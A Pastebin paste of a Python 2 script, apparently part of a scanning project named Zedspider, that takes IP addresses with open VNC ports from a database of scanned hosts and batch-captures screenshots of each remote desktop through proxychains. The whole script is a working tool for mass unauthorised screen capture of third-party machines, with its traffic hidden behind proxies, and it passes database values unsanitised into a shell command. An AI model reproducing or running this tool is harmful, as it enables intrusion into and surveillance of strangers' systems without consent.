Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python2
- # Zedspider Module for dumping vnc images
- from gevent import monkey
- monkey.patch_all()
- from gevent.pool import Pool
- import socket
- import requests
- import sys
- import os
- import time
- import csv
- import mysql.connector
- import re
- import gevent
- from subprocess import call
- class report_open_vnc():
- def __init__(self):
- self.classID = 1
- self.clsfrID = 1
- self.test_list = []
- self.sql_query = ("Select tbl_IPAddresses.strIPAddr, tbl_IPAddresses.strCountry, tbl_IPAddresses.strCity, tbl_IPAddresses.strRegion, "
- "tbl_service.intPort, tbl_service_content.txtDump From tbl_IPAddresses Inner Join tbl_service on tbl_IPAddresses.idIPAddr "
- "= tbl_service.idIPAddr Inner Join tbl_service_content On tbl_service.idSvc = tbl_service_content.idSvc Where "
- "((tbl_service.intPort = 5902) or (tbl_service.intPort = 5901) or (tbl_service.intPort = 5900)) and tbl_service.dateDiscovered >= \"2016-01-22 07:30:00\"")
- # last check: 2/24/2016 18:00
- # Generate List of IPs and Ports with idsvc for each port
- def generate_list(self, sql_query):
- cnx = mysql.connector.connect(unix_socket='/run/mysqld/mysqld.sock',user='dbuser', password='password', database='zedspider')
- cursor = cnx.cursor()
- cursor.execute(sql_query)
- test_list = cursor.fetchall()
- return test_list
- def syscall_vncsnapshot(self, ipaddr, port):
- # System call to grab vnc images
- #callstr = "echo %s %d" % (ipaddr, port)
- callstr = "timeout 6m proxychains vncsnapshot %s::%d %s.png &" % (ipaddr.encode('utf-8'), port, (ipaddr).encode('utf-8'))
- call(callstr, shell=True)
- def run(self):
- # Generate List of IPs and Ports and store in list variable
- self.test_list = self.generate_list(self.sql_query)
- total = len(self.test_list)
- test_queue = []
- while self.test_list:
- print "Testing " + str(total-len(self.test_list)) + "/" + str(total) + " possible VNC services."
- for counter in range(0,min(250, len(self.test_list))):
- test_queue.append(self.test_list[0])
- del self.test_list[0]
- counter += 1
- jobs = [gevent.spawn(self.syscall_vncsnapshot, row[0], row[4]) for row in test_queue]
- gevent.joinall(jobs)
- test_queue = []
- counter = 0
- time.sleep(240)
- M = report_open_vnc()
- M.run()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement